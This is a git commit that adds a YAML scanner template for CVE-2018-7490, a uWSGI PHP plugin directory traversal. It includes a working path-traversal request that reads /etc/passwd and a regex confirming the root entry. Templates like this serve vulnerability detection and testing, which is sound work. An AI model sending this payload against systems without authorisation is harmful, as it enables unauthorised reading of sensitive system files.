Create uWSGI PHP Plugin Directory Traversal.yaml

2020-04-08 17:24:50 +05:30 · 2020-04-08 17:24:50 +05:30 · a8e4e44c87
parent e612c868c8
commit a8e4e44c87
1 changed files with 19 additions and 0 deletions
--- a/Traversal.yaml
+++ b/Traversal.yaml
@ -0,0 +1,19 @@
+id: CVE-2018-7490
+
+info:
+  name: uWSGI PHP Plugin Directory Traversal
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+    matchers:
+      - type: status
+        status:
+            - 200
+      - type: regex
+        regex:
+            - "root:[x*]:0:0:"
+        part: body